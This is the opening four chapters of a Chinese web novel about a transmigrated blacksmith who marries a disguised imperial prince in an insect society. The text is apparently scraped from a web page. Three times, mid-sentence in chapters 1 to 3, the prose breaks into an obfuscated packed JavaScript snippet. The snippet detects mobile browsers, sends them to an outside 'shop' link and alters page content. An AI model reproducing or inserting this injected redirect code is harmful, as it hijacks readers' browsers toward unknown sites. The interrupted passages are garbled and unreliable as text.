《不好意思,娶错雌君了》 1. 结婚 “滋——” “滋——” 纳尔在断续的电流声中缓缓苏醒。视线逐渐清晰,落入眼底的是头顶陌生的天花板。 “宿主。” 冰冷的机械音在耳畔响起。纳尔瞳孔猛然收缩,戒备地转向声源——一颗悬浮的圆球,正是他昏迷前见过的那个。 “你好呀。” 圆球对他露出一道微笑。 “……” 床上的青年没有反应,只是沉默地注视着他,大脑中疯狂浮现出不属于他的记忆碎片,当这些记忆消化过后,纳尔脸色不住阴沉下来。 被这样冰冷的视线笼罩,系统的笑容僵了一瞬,却仍维持着语调的轻快: “宿主,本世界监测到您具有极强的求生意志,因此安排我与您绑定。完成指定任务后,您即可返回原来的时空。” 纳尔依旧不语,眉毛却忍不住皱起。 系统被盯得有些发怵,避开他的视线,硬着头皮继续道: “那么,按流程为您导入身份信息。”它快速扫过眼前浮动的数据板,语速加快: “宿主,你是一个雄父不疼雌父不爱,成绩保持倒数第一,精神力为零,信息素为零,上学时经常欺负雌虫,空有一副漂亮皮囊的蠢货雄虫!” 纳尔:“……” 青年终于有了反应,从床上坐起,额角的青筋微微跳动: “你是在和我开玩笑,对么?” “宿主,您、您别激动呀。” 眼见宿主有了想殴打自己的冲动,系统冷汗直冒,急忙找补: “虽然您身体素质一般,但宿主你长得好呀,实在不行还能卖身……啊呀~” 系统话音未落,纳尔已经干脆利落地捏住它,反手掷向了墙角。 “你自己去卖吧!” 十分钟后,系统拖着几乎散架的身子挪回纳尔旁边,讨好地嘿嘿一笑: “宿主你劲儿真大。” “呵呵。” “别啊,别不理我嘛,宿主。” 纳尔扭头懒得看它。 圆球看着宿主的后脑勺,窘迫之余还有些愧疚。 毕竟……确实是他在传送数据时出现了一点错误,才导致纳尔传送进了这么一具身体里。 不过现在道歉好像有点来不及了,它的后台已经替它绑定好了下一位宿主了! 于是,系统讪讪地飞到纳尔面前,真诚地眨了眨眼。 “宿主,虽然我很想郑重道歉,但……我可能没这个机会了。” “什么意思?”纳尔终于大发慈悲把目光投向系统。 “咳咳,由于我是一个负责两千多个宿主的高级系统,所以在很多时候都处于一种日理万机的状态,没办法对每个宿主进行细致入微的照顾,因此……” 纳尔明白了他的意思,“你要走?” “是的!” “那你走吧。” “宿主都不挽留一下我吗?” “挽留有用吗?” “那倒没有。” “……” “嘿嘿。” “看在宿主你这么通情达理的份上,在临走之前,我就再告诉您一个好消息吧。” 系统语气轻快道: “您~要~结~婚~啦~” ??? 纳尔眼前一黑。 他缓缓转过脸,难以置信地瞪着系统: “你管这叫好消息?” “嗯嗯!”系统郑重地点头:“宿主,拒绝无效哦。” “另外提醒一句:您的雌君已经抵达空港,今天下午您就得去接他。具体信息都发到您的终端里了。” 说完,它一秒没多留,唰地消失了。 等等,纳尔突然反应过来,这系统是不是没告诉他到底要完成什么任务? 纳尔:“……” 空旷的房间里很快就剩下纳尔一个虫,他盯着系统消失的地方许久,终是无奈地叹了口气。 即使那系统很不靠谱,如今他也别无选择,只能走一步看一步。 虽然纳尔无法接受这突如其来的婚约,但出于基本的礼节,他至少得去见一见那位“雌君”。 要实在不合适…… 想到自己那“爹不疼娘不爱”的悲惨人设,纳尔就觉得头痛。 算了,到时候再说吧。 出发前,纳尔在家中找到一面镜子,想看看自己如今的模样。 这一看,他差点没认出来。 镜子里那个乞丐是谁? 纳尔不敢置信地碰了碰镜面,指尖都在发抖。 镜中的棕发青年头发乱如鸟窝,嘴唇苍白干裂,身上的衣服勉强能算件衣服,但一看就是洗过好几遍的样子。 ……原主他到底是做什么的? 虽然方才读取记忆时,纳尔已经意识到原主是个无所事事的虫,但他发现如今的境遇似乎比他想象中的还要差。 话说,他这样,对方真的会愿意嫁给他? 出门前,纳尔本来想洗个头发、换身衣服再出发,可仔细一算,时间已经来不及了。最后他只匆忙冲了把脸,把额前那缕打结的头发勉强捋顺。 “好像也没好到哪儿去。”纳尔将耳边碎发别到耳后,露出整张脸。 其实这具身体的五官底子不算差,和他原本的模样有七分相似,只是太瘦,脸色也太憔悴。 简单打理后,纳尔抓起桌上那把老式悬浮车的钥匙,头也不回地出了门。 * 与此同时,帝国皇城的某处正乱作一团。 虫皇最小的虫崽,在相亲宴进行到一半时,不见了。 “殿下到底跑哪儿去了?这么多虫看着也能丢?” “还不是你们看守不力!” “想把责任推给我们?我告诉你——” “够了。”一道冷静的声音打断即将爆发的争吵,“如果九殿下真想走,在场谁拦得住?” “可……陛下那边怎么交代?” “先找。别的之后再说。” “是!” 一墙之外的庭院里,一名白发青年闲闲倚在树下,听着墙内隐隐传来的喧哗,漫不经心地摘下一片叶子,在指尖转了转。 “呼——” 叶子被从指尖吹落。 “再见了。” 话音落下,他身上的华服如光尘般消散,化作一件简单的白衬衫与黑色长裤,银白长发也被利落束起。 “系统,”他轻声说,“找个偏远星球的空港降落,越远越好。” “是。” * 在这个世界,还在开老式悬浮车的,多半是穷虫。 有钱的虫早已乘坐私虫飞艇出行。 所以当纳尔驾驶着那辆半旧不新的悬浮车抵达空港时,周围投来的目光多少带着打量与隐约的轻视。 纳尔忽略那些扎眼的视线,低头打开终端,对照着资料里的照片仔细辨认。 越看,他越觉得—— 原身和这位雌君,怎么说呢,竟还有些相配…… 他自己瘦得和猴子一样就算了,对方的下巴更是尖得可怕。纳尔忍不住心想,他低头的时候真的不会扎破自己的喉咙吗? 还有这眼睛,得有他两个大吧,这鼻子,翘得都能顶起一个星球了。 纳尔感觉自己的世界观得到了刷新。 看来,这个世界的生物和他之前所在的世界差距极大。 “算了,先接到虫再说。” 他一边嘀咕,一边按特征在虫群里搜寻:“白发,蓝眼睛,白衬衫,黑裤子……” 不远处,一道清瘦挺拔的身影恰好转过脸。 银白长发,冰蓝眼眸,简单衣着却遮不住一身格格不入的冷清气质。 “找到了。” 纳尔连忙低头确认了一眼名字,朝他用力挥手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132572|196233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' : “则法尼亚!” 听到自己的名字,被称为则法尼亚的白发雌虫微微一怔,警惕地抬眼看去。 嗯? 那是个完全陌生的……雄虫? 纳尔见对方愣在原地没动,忽然有些尴尬,下意识摸了摸鼻尖。 第一次见面,果然会尴尬啊。 不过则法尼亚并没有让他等太久。 白发雌虫很快迈步走来,在他面前一步处停下。 “你是?” 他语气里带着明显的困惑。 “啊,你雄父没和你说吗?”纳尔想起两虫之间那层关系,说得有些艰难。 “我们要结婚了。” “结婚?”则法尼亚睁大了眼睛,第一次露出毫不掩饰的惊讶,“我怎么不知道?” “怎么会?”纳尔连忙将终端屏幕转向他,上面清清楚楚写着二虫的婚约信息。 但纳尔没想到的是,首先出现在屏幕上的竟然是则法尼亚的照片。 “呃,那个,你……”他卡了一下,干巴巴地补了一句,“你比照片上好看很多。” 待看清眼前那张属于“自己”的照片后,则法尼亚轻轻“嗯”了一声,听起来竟颇为赞同。 他的目光仔细扫过终端上的信息,联想起自己今天的穿着,眼底掠过一丝了然。 原来是这样,看起来,这只小雄虫好像是误会了什么。 接着他视线转向纳尔,细细打量了一眼,却忽然微微眯起了眼。 精神力……零? 信息素……也是零? 怎么可能? 就算是最低级雄虫也不会一点精神力都没有。 难道他和我一样曾经是…… 则法尼亚不动声色地收回目光,伸手轻轻握住纳尔还举着终端的手腕。 “好,走吧。” “你……”纳尔看着自己被握住的手,语气中参杂着些许不确定:“你答应了?” “嗯。”则法尼亚朝他微微一笑,语气温顺,“父母之命,媒妁之言。” “……好。” 纳尔不太自然地反握住他的手,令他没想到的是,虫族竟也有这种规矩。 看来则法尼亚也和他一样,是个不被家庭重视的虫崽。 这样也好,纳尔暗暗松了口气。 家庭关系简单,以后就不会有太多亲属来往,他也就不用担心在熟悉原主的亲虫面前露出破绽。 两虫并肩走出一段路程,纳尔才忽然意识到什么,扭头看向则法尼亚身后。 空空荡荡。 “你没有行李吗?” “没有。”则法尼亚面不改色地扯了个谎,“我是来投靠雄主的。” “哈、哈哈。”纳尔一时不知怎么回应这个称呼,干笑两声,随即想起自己的处境,难为情地低下头,“那个……我可能,没法让你‘投靠’了。” “为什么?” 话音刚落,两虫已走到一辆悬浮车前。 则法尼亚见纳尔突然停住脚步,顺着他的视线看去。 映入眼帘的是一辆早已被市场淘汰的老旧车型,外壳上还有几处明显的刮痕。 他下意识脱口而出:“这是谁的悬浮车?怎么会停在这里?”难道这个星球没有报废站? “呃。”纳尔静默片刻,随后松开了他的手,默默掏出钥匙,“我的。” “……嗯?” 纳尔自动忽略则法尼亚疑惑的目光,扭头就朝驾驶座走去。 这还算好的呢,他心想,等会儿见到我家,你怕是更吃惊。 果然—— 半小时后,当则法尼亚看清眼前那栋老旧得仿佛随时会散架的二层矮楼时,眼底再一次闪过难以掩饰的震动。 虽然那情绪转瞬即逝,但纳尔还是捕捉到了。 “雄主……这是你的家?” “呃,现在应该是……我们的?” 2. 领证 尽管一时难以接受这位雄虫的家庭境况,但为了验证自己的猜测,则法尼亚还是决定暂且留下。 踏入客厅的瞬间,他的世界观再次被刷新。 满地狼藉——散乱的衣服、破旧的纸盒、各式铁器,唯一的整洁是雄虫刚刚匆忙整理出来的那张沙发。 则法尼亚见状忍不住问道:“雄主,您究竟是做什么工作的?” “我,大概是……” 纳尔看着从堆积物里清出的那座黝黑的大铁炉,以及周围散落的铁块,迷茫中掺着一丝无奈: “一个打铁匠吧。” 这是他再次翻找原主记忆碎片得到的解释。 “打铁匠?”则法尼亚嘴角不由抽动了一下,眼中却闪过一丝若有所思的光芒。 “如今竟还有这样的职业存在吗?” “嗯。”纳尔忍不住心道,“我也没想到。” 虽然纳尔自己也没料到原身的身份竟会是这个,但他早已习惯了命运一次又一次地给予他不知福祸的“馈赠”,很快便消化了这个事实。 眼下唯一的难题,是如何面对身旁这只雌虫。 “那个。”纳尔犹豫片刻,终于还是开口。 “则法尼亚,我们的婚约,你如今还想履行吗?” 嗯? 听到这个问题,则法尼亚明显一怔,脑中飞快盘算着什么,似乎在权衡某个答案。 纳尔见状并没有开口催促,静静立在铁炉旁,指尖无意识地轻蹭过粗糙的炉壁。 “当然。” 纳尔抬起头,以为自己听错了,“什么?” “雄主,嫁给您是我的荣幸。” 白发雌虫话音落下,眉眼轻轻弯起,朝他绽开一抹纯粹的笑容。 那一瞬,纳尔心头掠过一丝莫名的情绪。 “好,那好。” 纳尔下意识避开他的注视,低头快步从他身侧走过,“那你稍等,我冲个澡,就和你去办手续。” 说完,身影便没入里间。 房间再次静了下来。则法尼亚望着他离开的方向,唇角轻轻扬起。 十五分钟后,纳尔顶着半湿的短发走出浴室,棕色的发尾还滴着水。 他看见则法尼亚正站在窗边走神,便开口唤了他一声,白发雌虫闻声回头时,眼中掠过一丝微不可察的讶异。 “抱歉,久等了。”纳尔抓起一件相对整洁的外套,“证件我都拿好了,走吧。” 悬浮车里,纳尔输入目的地时顿了顿,记忆里那个名称有些模糊,他不确定侧头问道: “我记得是去‘婚姻登记所’?” “是的。” 则法尼亚温和应道,目光落在窗外飞逝的街景上。 纳尔点点头,启动悬浮车。密闭的空间里,沉默蔓延开来。 好在最近的婚姻登记所离纳尔的住处只有十五分钟车程。 悬浮车缓缓停稳时,纳尔透过车窗望见门口进出的身影,不少虫手中都拿着暗红色封皮的小册子,脸上神情各异。 今天是周末,前来登记的虫比想象中还要多。 纳尔望着那扇玻璃门,呼吸不自觉发紧。 接下来要发生的,是他十八年人生中都未曾经历过的事情。 ——他真的要结婚了。 纳尔知道什么是婚姻,知道它意味着什么。过去的岁月里,他见证过无数人的婚姻。 如今,他自己也要踏入这条道路了。 说不上是好奇,更多的或许是隐隐的不安。 毕竟,纳尔从未与谁长久地共同生活过。 自己能适应吗? 能习惯另一个“他”的存在吗?能…… “雄主。” 身侧雌虫的声音将他飘远的思绪拉回。 纳尔回过神来,这才发觉对方不知何时已站在他面前,正平静地注视着他,见他回神,他才微微一笑。 “我们进去吧。” “……好。” 登记窗口前,两虫各自递上居民证。 负责办理的虫员是位中年雌虫,他例行公事地接过证件,但在扫描则法尼亚的证件时,光屏突然闪烁起代表“高权限受限信息”的金色边框。 虫员脸色一变,立刻抬头仔细打量则法尼亚——银发蓝眸,气质出众,即使穿着简单也掩不住一身与这低等星区格格不入的冷清贵气。 他从事这行二十年,见过不少隐藏身份来登记的高等雌虫,但这种级别的权限提示,他只在上次某位公爵之子秘密结婚时见过一次。 虫员的冷汗瞬间就下来了。 他勉强维持着专业态度,但声音已经发紧: “则法尼亚阁下……您确定要与这位E级雄虫缔结婚姻关系吗?按照婚姻制度规定,这需要您的监护方或所属家族出具电子许可函……” “许可已经在线提交了。”则法尼亚平静地说,指尖在个虫终端上轻点了几下。 虫员面前的屏幕立刻跳出一份带有皇室签章的电子函件,签发机构一栏显示着令虫难以理解的复杂代码,那是只有内部系统才能识别的标识。 “可是……”虫员还想说什么,但对上则法尼亚那双冰蓝色的眼睛时,所有话都卡在了喉咙里。 那双眼睛里没有任何情绪,却让他感到一种莫名的压迫感。 “可以继续了吗?”则法尼亚的声音依然温和。 “是,阁下。” 接下来的流程,虫员几乎是在机械地完成。当他战战兢兢地问出那个标准问题时,声音都在发飘: “纳尔雄虫,请问您要将则法尼亚阁下纳为雌君,还是雌侍,或……雌奴?” “雌君。” 纳尔答得没有丝毫犹豫,却看都没看登记员一眼。 因为他刚才竟然只称呼则法尼亚为阁下,还强调自己是E级雄虫。 可恶! 瞧不起他呢? “好、好的!” 察觉眼前两只虫的脸色越来越差,虫员几乎是逃命般地完成了最后的登记。 十分钟后,两本尚带温热感的暗红色结婚证递到了他们手中。 纳尔低头看着封面,虽然看起来和普通证件一样,但他注意到边缘有一圈淡淡的银色纹路,不过他也没细想。 收好结婚证的同时,则法尼亚的声音在耳边响起: “我们回家吧,雄主。” 同一时间,帝国情报中心,负责追踪九殿下动态的数据监测组突然陷入一片死寂。 紧接着,爆发出几乎掀翻天花板的惊呼。 “啊!快来虫!来虫!九殿下刚刚用皇室特许编码,在第七十星区的登记所强制通过了一条婚姻登记!” “什么?” “和谁结的?” “快调数据!!” 几只虫挤在悬浮光屏前,死死盯着刚刚同步更新的婚姻登记记录,以及一旁紧急调出的、属于那位“雄主”的档案。 空气在诡异的沉默中凝固了数秒。 “九殿下他……原来喜欢这种类型?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132573|196233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “有没有可能是被胁迫的?” “有可能。” “等等,你们觉得一个E级雄虫,有可能胁迫得了九殿下吗?” “……你说的也是。” “等等,重点不是这个,重点是殿下他用了编码!那是陛下给他的最高级紧急特权,一共只能用三次!他居然用在这里?” “我靠!那这只E级雄虫到底是什么来头?” “快查!快查!” 突然,角落里的一名年轻职员猛地拍桌而起,脸上写满了顿悟与不甘: “怪不得殿下之前回绝了所有上将的联姻提议,原来殿下喜欢这种!” “早说嘛!我也很差啊!九殿下看看我!我比他还垃圾!我入赘也行啊!” “……” 其他虫面面相觑。 “这货疯了吧?” “嗯,大概率是。” 信息同步至皇室数据库的瞬间,则法尼亚便清楚,自己这场婚事,或许瞒不住了。 果不其然,返程途中,他的私虫终端便震动起来。则法尼亚瞥了一眼正专注驾驶的纳尔,他不动声色地划开屏幕。 发信者是他的好友路法索,简短一行字里压着惊疑: 「尼亚,你的婚事是怎么回事?」 则法尼亚指尖轻点,回了四个字: 「帮我瞒住。」 对面几乎秒回:「殿下,这怎么可能瞒得住?陛下若是问起……」 「能瞒便瞒,还有,暂时别来找我。」 「你——」 「我知道你能做到。若雌父察觉,让他直接联系我。雄父那边……能拖多久是多久。」 「至少告诉我,为什么是他?之前那些贵族联姻,你一个都没答应。」 则法尼亚没再回复,直接关闭了终端。 视线落向前方,纳尔低着头,侧脸在窗外流动的光影里显得有些模糊。 “他怎么了?” 此刻的纳尔,确实无暇他顾。 方才开车时,纳尔的终端突然弹出一则提醒,他顺手点开,瞳孔却微微一缩。 信箱里竟堆积了上百封未读讯息,内容整齐划一地催促着: “我的铁锤何时能取?” “盔甲锻造进度如何?” “上个月定制的铁剑这个月底前能完成吗?” “……” 纳尔动作一滞,随即茫然地望向窗外的天空,再次被迫接受了这个事实: 他,纳尔,真是个打铁匠。 “雄主,怎么了?” 则法尼亚的声音忽然从身侧响起。纳尔吓了一跳,转头对上那双含笑的眼。 想到自己这“不上台面”的职业,再想起方才登记处虫员那掩饰不住的惊愕,他忍不住叹了口气。 “没什么,只是今晚怕是睡不成了。” 这句话落入则法尼亚耳中,却让他心头蓦地一沉。 糟了。 他怎么忘了,按照虫族习俗,雌虫新婚之夜必须履行“孕育义务”。 这么多年都守过来了,难道真的要在这样一场仓促的婚姻里…… 不行。 安逸太久,是他大意了。 得找个理由推掉。 “雄主,其实我——” “今晚你先找个酒店休息吧。” “——啊?”则法尼亚怔住。 纳尔放下终端,趴在桌上,语气疲惫不堪: “我得回家……通宵打铁。” 3. 打铁 抵达家门之前,纳尔用账户里仅剩的几枚星币,把仍在发懵的则法尼亚送进了附近的旅馆,简短叮嘱过“注意安全”后转身便走。 回程的路上,纳尔深呼一口气,竟觉得肩头一松。 虽然则法尼亚已经是他的雌君,但让他和一个并不熟悉的虫相处,到底有些困难。 毕竟,他从来都是一个人生活的。 片刻后,纳尔的脚步停在熟悉的房门前。 他推开吱呀作响的门,没有开灯,径直俯身开始收拾散落一地的铁块。 一些陌生的,属于原身的记忆在昏暗中渐渐清晰起来。 原来打铁这门手艺,在原身这个家族已传了数代,一直到了纳尔雄父那一代,才彻底没落了。 纳尔雄父力气小,又懒,打出的铁器远不如以前。偏他又生了一副好皮囊,很快被一位有权势的雌虫相中,便头也不回地抛下铁锤、抛下家,甚至抛下了年幼的纳尔。 好在祖雄父没有放弃。他将最后的指望寄托在纳尔身上,将毕生技艺教给这个沉默的雄虫。 可纳尔像极了他的雄父。贪玩、怠惰,十几年也只学了点皮毛。 直到祖雄父去世,再也无虫庇护,他才被生存逼着重新拾起铁锤。 镇上的虫念着旧情,也怀着鼓励,纷纷送来订单。 可纳尔自己先放弃了。 “我做不到,我会让他们失望的。” 他锁上门,任由自己在那间堆满铁块的屋子里,悄无声息地饿死。 最终,现在的纳尔替代了他。 记忆的最后,是祖雄父临终前断续的叮咛:“我们手下的铁器……不一样……虫族的精神力……控不住它……” 黑暗中,棕发雄虫静默地站在原地,一语不发地消化着这段记忆。 虽然纳尔初来乍到,对这个世界的一切仍有许久不解,但他也知道,精神力对于他们虫族而言是极为重要的存在。 而在这个精神力至上的世界,他们打出的铁器竟然可以无视精神力。 这意味着什么,不言而喻。 纳尔长长呼出一口气,像是要将原身积压的痛苦与沉重全部吐尽。 然而下一秒,纳尔忽然感到一股突如其来的灼痛感从腹中冒出,他只当是刚接收记忆的疲惫,没成想那股疲软感竟越发明显,眼前的景象渐渐发花。 一阵铺天盖地的无力感席卷而来,纳尔腿一软,“啪”地一声倒在地板上。 ……好饿。 雄虫嘴唇干裂,脸色倏地惨白一片。 糟了。 他忘了原身是被饿死的。 但为什么刚才明明还好好的,现在怎么会? 来不及多想,雄虫视线已经开始模糊。 纳尔不甘地强迫自己睁开眼皮。 他才不要就这样荒唐地死掉。 “砰!” 门口传来一声响动,纳尔想睁眼,眼皮却重如千斤。 “雄主?” “哎哟!小纳怎么躺在地上?” “快扶起来!” 是则法尼亚的声音,还夹杂着其他虫焦急的议论。 下一秒,他被揽进一个温暖的怀抱。他听见则法尼亚的声音在耳畔响起,带着一丝明显的紧张: “去医院。现在。” …… 时间来到深夜,此刻,则法尼亚带着输完液,好上许多的纳尔走出社区诊所。 几位热心的邻居跟在一旁,手里还提着诊所开的营养剂,七嘴八舌的关切着。 “这孩子是谁呀?真是咱们小纳的雌君?” “你们什么时候结的婚?怎么都没听小纳提起过?” “小纳啊,是不是又没好好吃饭?这次要不是大伙儿不放心过来看看,你打算怎么办?” “就是!谢尔达阁下走了,你更得照顾好自己才行。” 谢尔达,那是纳尔祖雄父的名字。 “抱歉,我会注意的。”纳尔把脸埋进泽法尼亚肩窝,声音闷闷的。 他实在不擅长应对这样的关怀。 好在泽法尼亚足够从容。他微笑着接过话头,三言两语便将话题引开,又以“雄主需要静养”为由,温和地谢绝了邻居们进一步的探望。 “那你们好好休息。” “小纳,记得常出来走走!” “好……谢谢大家。” 目送邻居们的身影消失在巷口,纳尔终于松了口气。一转身,却正对上已在破旧沙发上坐下的则法尼亚。 四目相对,纳尔喉头一哽。 “雄主,您还饿吗?”则法尼亚神色自若,伸手拿起桌上两只营养罐头,利落地一并打开,推到他面前,“先吃点东西。” “谢谢。”纳尔耳根微热地将其接了过来。 先前则法尼亚见他晕倒时神色紧张,一路疾驰送至诊所,结果诊断结果出来只是—— 太饿了。 医生说出结论时,则法尼亚脸上那一闪而过的错愕,纳尔到现在都记得清清楚楚。 “不必客气。”则法尼亚仍含着那抹一贯的笑意,静静坐在一旁看他。 纳尔被看得有些不自在,埋头加快了进食的速度。可硬塞了几口后,动作却慢了下来。 这味道,好奇怪。 这罐头和纳尔在地球上吃过的任何一种都不一样,像是由各种各样黏稠的合成肉糜做成的,带着一股难以形容的味道。 他全神贯注地对付着眼前的“难关”,丝毫没留意到身旁雌君眼中的笑意正逐渐加深。 半晌,纳尔终于咽下最后一口。他放下空罐,终于想起问: “你怎么回来了?” “走到半路才想起,我和雄主还没有交换联系方式。”则法尼亚语气自然。 “折返时,正好看见几位阁下聚在您门口。他们说很久没见您出门,担心出了事,今天发现门没锁,才冒昧进来看看。” “……这样啊。”纳尔垂下眼睫,不知道在想什么。 之后,两虫交换了联系方式。纳尔本想劝则法尼亚回旅馆休息,却被对方以“新婚之夜,理应陪伴雄主”为由拒绝了。 纳尔虽未经历过婚姻,却也被这份看似周全的“礼数”说服,甚至动摇了今夜通宵打铁的念头。 可一想到那些积压的、带着善意与期待的订单。他最终还是站起身,走向那间杂乱的“工作室”。 夜深了,炉火被重新点燃。 灼热的气息随着风箱的鼓动弥漫开来,很快填满了整间作坊。纳尔的身影在跃动的火光中显得格外专注。 则法尼亚站在一门之隔的客厅里,没有离开。 纳尔拾起墙角那柄沉重的铁锤时,手臂传来一种陌生的轻盈感。 太轻了。 轻得仿佛只是握住了一截枯枝。 “砰!” 第一锤砸落在暗红的铁块上。没有预想中的反震,只有一种碾压般的穿透,那块厚铁竟像软泥般塌陷下去,只留下一道凹痕。 巨大的冲击力让地面微微一颤。纳尔下意识看向门外,正对上则法尼亚同样难掩震惊的眼神。 不是错觉。 “砰!砰!砰!” 第二锤、第三锤…… 纳尔的呼吸不自觉地粗重起来,手臂与脊背的肌肉仿佛被某种沉睡的力量彻底唤醒。 铁锤在他手中失去了重量,疯狂地捶打着,火舌舔舐着铁块,将其烧得通红,又在锤击下迅速延展、变形。 他彻底忘记了时间,忘记了身外的一切。 仅仅半个小时,图纸上那柄有些复杂的长剑已然成形。纳尔用铁钳夹起它,浸入冷水。 “滋——!” 白汽蒸腾。 再度提起时,一柄通体漆黑的长剑缓缓呈现,剑身在灯光下泛着寒光。 “这是……” 则法尼亚终是忍不住走了进来。他的目光紧紧锁在剑上,好奇与某种压抑的兴奋在眼底交织。 纳尔见状,直接将剑递了过去。 “你会用剑?” “嗯。”则法尼亚接过,手腕一抖,剑身随之划出几道干净利落的弧度。 他眼中掠过一丝难以掩饰的惊喜。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132574|196233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这把剑,很适合他。 …… 作为虫皇备受期待的第九个虫崽,则法尼亚自出生起却被认定“先天不足”。 他的精神力弱到连基础自保都成问题。在崇尚精神力量的帝国,一只无法用精神力护住自己、更无法庇护雄主的雌虫,几乎是皇室之耻。 幸而,他的雌父来自偏远星域,是一名剑客。 在那里,高新科技尚未完全取代传统武器,铁剑、铠甲仍是生存与荣誉的象征。 雌父亲自教导他剑术,可则法尼亚始终有一个无法言说的困扰:每一柄经虫之手打造的剑,都会残留铸造者的精神力。这微弱的干扰,在生死相搏的瞬间,或许就是致命的破绽。 他以为自己早已习惯,直至握住这柄剑。 纯粹、沉稳、毫无杂念,几乎与他融为一体。 …… 纳尔没有打扰则法尼亚的出神。 他低头看向自己的掌心,经过那样高强度的捶打,掌中竟无半分红肿或磨损,反而依然存留着一股力量。 打铁,他前世并非完全陌生,否则也无法如此迅速上手。 但从前,打造一柄短匕都需要耗费数日。而现在,速度、力量,乃至成品的品质,都完全超出了常理。 难道,这就是系统带来的金手指?还是这具身体隐藏的特质? “雄主。” 纳尔闻声抬头,则法尼亚不知何时已回过神来,将长剑递还,嘴角含着一丝探究的弧度: “可以让我试试您的铁锤吗?” “好。” 纳尔虽不解其意,仍随手拎起锤柄递去。然而在交接的刹那,铁锤猛地一沉,直往下坠,纳尔反应极快,一把托住则法尼亚的手腕,两虫的手就这样叠握着,堪堪稳住了铁锤。 纳尔抬眼,正撞进则法尼亚震惊的眸中。 他竟然……拿不动。 “没事吧?”纳尔握着他的手,将铁锤轻轻放回地面。 “没事。”则法尼亚缓缓收回手,手心还存留着铁锤的温度。 那铁锤,他根本拿不动。 可刚才那小雄虫…… 则法尼亚被困惑淹没,忍不住问道:“雄主,您不觉得它很重吗?” 纳尔诚实地摇头,“并不。” 一瞬间,则法尼亚看向纳尔的目光彻底变了。 那种举重若轻、浑然天成的力量感,远比他所见过的任何A级战斗型雌虫,更令虫心惊。 但他迅速收敛了神色。下一刻,竟从随身空间钮中取出一柄长剑。 剑身修长,泛着月华般的银白光泽,唯接近剑尖处,有一道狰狞的裂口。 他双手将剑捧至纳尔面前。 “雄主,此剑曾是我的佩剑。前些日子不慎损毁。”他声音平稳,却带着一丝不易察觉的紧张,“不知您……” 纳尔明白了:“你想让我修好它?” “是。”则法尼亚微微垂首,“我愿意支付一万星币作为酬劳。” 纳尔伸向剑的手顿在了半空。 “多少——?” “一万星币。” 则法尼亚话音落下,才猛然回想起自己的身份——他是一个被家族抛弃的可怜小雌虫。 则法尼亚连忙找补,面上浮起一丝恰当的窘迫与慌乱,低声解释: “雄主,呃,其实,我被家族发卖,是因为私下拿取了家中的星币。大部分已归还,但……我偷偷留了一些在身上。” 纳尔彻底愣住。 他看着眼前这张清冷出尘、仿佛不食烟火的脸,怎么也无法将之与“偷拿家财”的行径联系起来。 三观受到了些许冲击。 可转念一想,他们已是夫夫,荣辱与共。 “好,我帮你修。” 纳尔点了点头,将则法尼亚扶起。 “这件事别再对旁虫提起。至于报酬就不必了,你是我雌君,我自然会帮你。” 则法尼亚安静地听着纳尔的安慰,垂下的眼睫遮住了眼底闪过的异光。 ——竟然这么好骗。 4. 送货 接下则法尼亚的委托后,纳尔决定将之前那些委托加速完成。 然而,他的身体却率先发出了警告。 又完成几件铁器后,那股支撑他的充沛力量如潮水般骤然退去。 他腿一软,就在即将倒下的瞬间,一直守在门外的则法尼亚疾步而入,正好接住他瘫软的身体。 怀里的雄虫脸色煞白,额发已被冷汗浸透,呼吸急促而破碎。 “我好累。”纳尔喘息着挤出几个字。 则法尼亚瞥了一眼时间,已近凌晨。他将纳尔小心地抱到那张旧沙发上,声音温和:“您该休息了。” “嗯。”纳尔浑身肌肉像是被过度使用般酸胀发痛,手指无力地攥住则法尼亚的衣襟,将额头抵在他肩窝,用力地吸气运气。 果然,方才那种仿佛无穷无尽的力量并非没有代价。纳尔模糊地意识到,这具身体似乎存在某种阈值。 一旦超越,便会像之前饿晕那样彻底反噬。 但这次的反噬远比饥饿更甚。每一寸骨骼、每一处肌肉都在尖锐地抗议,他在则法尼亚的怀抱里控制不住地微微发颤。 “疼——” “雄主,您到底怎么了?” “没、没事。”纳尔咬着牙调整呼吸,将全部注意力用于对抗体内横冲直撞的痛楚。 约莫十分钟后,那阵激烈的疼痛才缓缓散去。 他长长舒了口气,从则法尼亚怀中支起身。 视线抬起时,正对上对方近在咫尺的面孔。 纳尔忽然意识到,他们之间的距离似乎太过亲密了。 “抱歉……”他匆忙想要站起,却因腿脚发软向前踉跄。 则法尼亚立即伸手将他扶稳。 “雄主,不必勉强,今晚先休息吧。” “好。”纳尔向后靠进沙发里,“你睡卧室吧,我就在这儿……” 话说到一半,他突然顿住了。 等等,卧室! 